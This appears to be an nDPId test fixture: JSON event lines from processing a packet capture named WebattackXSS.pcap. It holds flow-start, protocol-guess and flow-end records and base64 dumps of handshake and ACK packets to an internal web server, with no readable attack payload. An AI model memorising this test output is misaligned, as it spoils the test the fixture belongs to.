QdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3820,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":1,"flow_first_seen":1499347426122,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57062,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":269,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3820,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347426,"pkt_ts_usec":122016,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vtlAAD4GBvesEAABwKgKMt7mAFDtahlHAAAAAKACchDQQgAAAgQFtAQCCAoBOqeeAAAAAAEDAwc="} +00444{"flow_id":269,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3821,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347426,"pkt_ts_usec":122169,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3ub5Z5wJ7WoZSKAScSC+twAAAgQFtAQCCAoD5HkUATqnngEDAwc="} +00432{"flow_id":269,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3822,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347426,"pkt_ts_usec":122948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vtpAAD4GBv6sEAABwKgKMt7mAFDtahlI+WecCoAQAOVdvwAAAQEICgE6p54D5HkU"} +00432{"flow_id":266,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3826,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347426,"pkt_ts_usec":731145,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08fFAAD4G0+asEAABwKgKMt6wAFBX5lNBzzWJ04ARAOX6QAAAAQEICgE6qDYD5HQk"} +00432{"flow_id":266,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3827,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347426,"pkt_ts_usec":731330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08H9AAEAG01jAqAoyrBAAAQBQ3rDPNYnTV+ZTQoARAOP0uQAAAQEICgPkeawBOqg2"} +00432{"flow_id":266,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3828,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347426,"pkt_ts_usec":732103,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08fJAAD4G0+WsEAABwKgKMt6wAFBX5lNCzzWJ1IAQAOX0twAAAQEICgE6qDYD5Hms"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3832,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":1,"flow_first_seen":1499347427366,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57076,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":270,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3832,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347427,"pkt_ts_usec":366797,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UGVAAD4GdWusEAABwKgKMt70AFC9kfiwAAAAAKACchAfbQAAAgQFtAQCCAoBOqjVAAAAAAEDAwc="} +00444{"flow_id":270,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3833,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347427,"pkt_ts_usec":366908,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3vS8sHHovZH4saAScSBzgwAAAgQFtAQCCAoD5HpLATqo1QEDAwc="} +00432{"flow_id":270,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3834,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347427,"pkt_ts_usec":367672,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UGZAAD4GdXKsEAABwKgKMt70AFC9kfixvLBx6YAQAOUSiwAAAQEICgE6qNUD5HpL"} +00432{"flow_id":267,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3838,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347427,"pkt_ts_usec":731500,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Nl9AAD4Gj3msEAABwKgKMt6+AFBNkZW4y0URHoARAOU8gAAAAQEICgE6qTAD5HVg"} +00432{"flow_id":267,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3839,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347427,"pkt_ts_usec":731683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0a7hAAEAGWCDAqAoyrBAAAQBQ3r7LRREeTZGVuYARAOM3OwAAAQEICgPkeqYBOqkw"} +00432{"flow_id":267,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3840,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347427,"pkt_ts_usec":732458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NmBAAD4Gj3isEAABwKgKMt6+AFBNkZW5y0URH4AQAOU3OQAAAQEICgE6qTAD5Hqm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3844,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":1,"flow_first_seen":1499347428671,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57090,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":271,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3844,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347428,"pkt_ts_usec":671151,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vFFAAD4GCX+sEAABwKgKMt8CAFCqwBZKAAAAAKACchATUQAAAgQFtAQCCAoBOqobAAAAAAEDAwc="} +00444{"flow_id":271,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3845,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347428,"pkt_ts_usec":671287,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3wITPWXXqsAWS6AScSAbpgAAAgQFtAQCCAoD5HuRATqqGwEDAwc="} +00432{"flow_id":271,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3846,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347428,"pkt_ts_usec":672036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vFJAAD4GCYasEAABwKgKMt8CAFCqwBZLEz1l2IAQAOW6rQAAAQEICgE6qhsD5HuR"} +00432{"flow_id":268,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3850,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347428,"pkt_ts_usec":731901,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TsxAAD4GdwysEAABwKgKMt7MAFD5I+vj4evNS4ARAOVlqAAAAQEICgE6qioD5Hae"} +00432{"flow_id":268,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3851,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347428,"pkt_ts_usec":732080,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0tutAAEAGDO3AqAoyrBAAAQBQ3szh681L+SPr5IARAONgpwAAAQEICgPke6ABOqoq"} +00432{"flow_id":268,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3852,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347428,"pkt_ts_usec":732861,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ts1AAD4GdwusEAABwKgKMt7MAFD5I+vk4evNTIAQAOVgpAAAAQEICgE6qisD5Hug"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3862,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":1,"flow_first_seen":1499347431192,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57116,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":272,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3862,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347431,"pkt_ts_usec":192783,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+sNAAD4GywysEAABwKgKMt8cAFA\/1VZRAAAAAKACchA7pAAAAgQFtAQCCAoBOqySAAAAAAEDAwc="} +00444{"flow_id":272,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3863,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347431,"pkt_ts_usec":192884,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3xwMzQFkP9VWUqAScSCsZgAAAgQFtAQCCAoD5H4HATqskgEDAwc="} +00433{"flow_id":272,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3864,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347431,"pkt_ts_usec":193676,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+sRAAD4GyxOsEAABwKgKMt8cAFA\/1VZSDM0BZYAQAOVLbgAAAQEICgE6rJID5H4H"} +00432{"flow_id":269,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3868,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347431,"pkt_ts_usec":732038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vttAAD4GBv2sEAABwKgKMt7mAFDtahlI+WecCoARAOVYRAAAAQEICgE6rRgD5HkU"} +00432{"flow_id":269,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3869,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347431,"pkt_ts_usec":732237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04oRAAEAG4VPAqAoyrBAAAQBQ3ub5Z5wK7WoZSYARAONSywAAAQEICgPkfo4BOq0Y"} +00432{"flow_id":269,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3870,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347431,"pkt_ts_usec":733009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vtxAAD4GBvysEAABwKgKMt7mAFDtahlJ+WecC4AQAOVSyAAAAQEICgE6rRkD5H6O"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3874,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":273,"flow_packet_id":1,"flow_first_seen":1499347432482,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57130,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":273,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3874,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347432,"pkt_ts_usec":482096,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rn5AAD4GF1KsEAABwKgKMt8qAFCuFwOqAAAAAKACchAeuQAAAgQFtAQCCAoBOq3UAAAAAAEDAwc="} +00444{"flow_id":273,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3875,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347432,"pkt_ts_usec":482207,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3ypOGaUvrhcDq6AScSCpIAAAAgQFtAQCCAoD5H9KATqt1AEDAwc="} +00432{"flow_id":273,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3876,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347432,"pkt_ts_usec":482921,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rn9AAD4GF1msEAABwKgKMt8qAFCuFwOrThmlMIAQAOVIKAAAAQEICgE6rdQD5H9K"} +00432{"flow_id":270,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3880,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347432,"pkt_ts_usec":732317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UGdAAD4GdXGsEAABwKgKMt70AFC9kfixvLBx6YARAOUNTQAAAQEICgE6rhID5HpL"} +00432{"flow_id":270,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3881,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347432,"pkt_ts_usec":732535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0DmFAAEAGtXfAqAoyrBAAAQBQ3vS8sHHpvZH4soARAOMIEQAAAQEICgPkf4gBOq4S"} +00432{"flow_id":270,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3882,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347432,"pkt_ts_usec":733311,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UGhAAD4GdXCsEAABwKgKMt70AFC9kfiyvLBx6oAQAOUIDgAAAQEICgE6rhMD5H+I"} +00432{"flow_id":271,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3886,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347433,"pkt_ts_usec":733529,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vFNAAD4GCYWsEAABwKgKMt8CAFCqwBZLEz1l2IARAOW1ugAAAQEICgE6rw0D5HuR"} +00432{"flow_id":271,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3887,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347433,"pkt_ts_usec":733752,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05VpAAEAG3n3AqAoyrBAAAQBQ3wITPWXYqsAWTIARAOOwygAAAQEICgPkgIIBOq8N"} +00432{"flow_id":271,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3888,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347433,"pkt_ts_usec":734524,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vFRAAD4GCYSsEAABwKgKMt8CAFCqwBZMEz1l2YAQAOWwyAAAAQEICgE6rw0D5ICC"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3889,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":274,"flow_packet_id":1,"flow_first_seen":1499347433753,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":274,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3889,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347433,"pkt_ts_usec":753548,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8JW1AAD4GoGOsEAABwKgKMt84AFAetop\/AAAAAKACchAl+QAAAgQFtAQCCAoBOq8SAAAAAAEDAwc="} +00444{"flow_id":274,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3890,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347433,"pkt_ts_usec":753688,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3zgqPCDhHraKgKAScSBXTwAAAgQFtAQCCAoD5ICHATqvEgEDAwc="} +00432{"flow_id":274,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3891,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347433,"pkt_ts_usec":754294,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JW5AAD4GoGqsEAABwKgKMt84AFAetoqAKjwg4oAQAOX2VgAAAQEICgE6rxID5ICH"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":6,"flow_first_seen":1499347361540,"flow_last_seen":1499347366717,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56374,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":6,"flow_first_seen":1499347361540,"flow_last_seen":1499347366717,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56374,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":6,"flow_first_seen":1499347364056,"flow_last_seen":1499347369718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56400,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":6,"flow_first_seen":1499347364056,"flow_last_seen":1499347369718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":6,"flow_first_seen":1499347365320,"flow_last_seen":1499347370718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56414,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":6,"flow_first_seen":1499347365320,"flow_last_seen":1499347370718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56414,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 